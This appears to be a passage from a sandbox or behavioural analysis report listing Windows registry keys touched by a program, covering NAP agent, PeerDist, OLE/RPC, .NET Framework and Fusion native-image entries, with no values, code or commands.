HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79617\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-1
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-4
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\napipsec.dll,-3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79619\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-100
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-101
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-102
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\tsgqec.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79621\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Friendly Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-100
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Description
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-101
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Version
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-102
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Enabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Vendor Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\eapqec.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Info Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Config Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Validator Clsid
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Registration Date
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\Qecs\79623\Component Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Qecs\79617
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\PlumbIpsecPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Qecs\79619
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Qecs\79621
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Qecs\79623
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\netsh.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\F6C4EC9A
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\PeerDist
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\PolicyProvider
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Diagnostics
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\System\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\PeerDist
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\Service
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Service
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\Enable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\PolicyRefreshInProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\TransportDllPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\CryptoAlgo
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager\Protocol
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\Protocol
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager\Download
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\Download
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager\Discovery
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\Discovery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager\Upload
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\Upload
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager\UtilityIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\UtilityIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DownloadManager\Peers\Connection
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DownloadManager\Peers\Connection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\SecurityManager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\BlockSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\NumBlocksPerSegment
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\SecurityManager\Restricted
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\Restricted
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\SecurityManager\Restricted\Seed
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\CacheMgr\Republication
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\CacheMgr\Republication
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\CacheMgr\Publication
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\CacheMgr\Publication
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\HandleMgr
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HandleMgr
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\HostedCache\Connection
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\Connection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\HostedCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\ServerRole
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\ClientAuth
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\TransportDllPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxSimultaneousDownloads
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxSimultaneousUploads
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxPendingOffers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\MaxPendingDownloads
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\HostedCache\DoNotUseSSL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\CooperativeCaching
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\CooperativeCaching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\DiscoveryManager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager\RepubQuorumSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager\MinBackoffWindow
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\DiscoveryManager\DiscoveryProviderDllPath
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\Publisher
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Publisher
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\PeerDist\Roaming
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming\ForceRoamingDetect
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming\RefreshDllName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PeerDist\Roaming\RefreshProcName

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index23
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
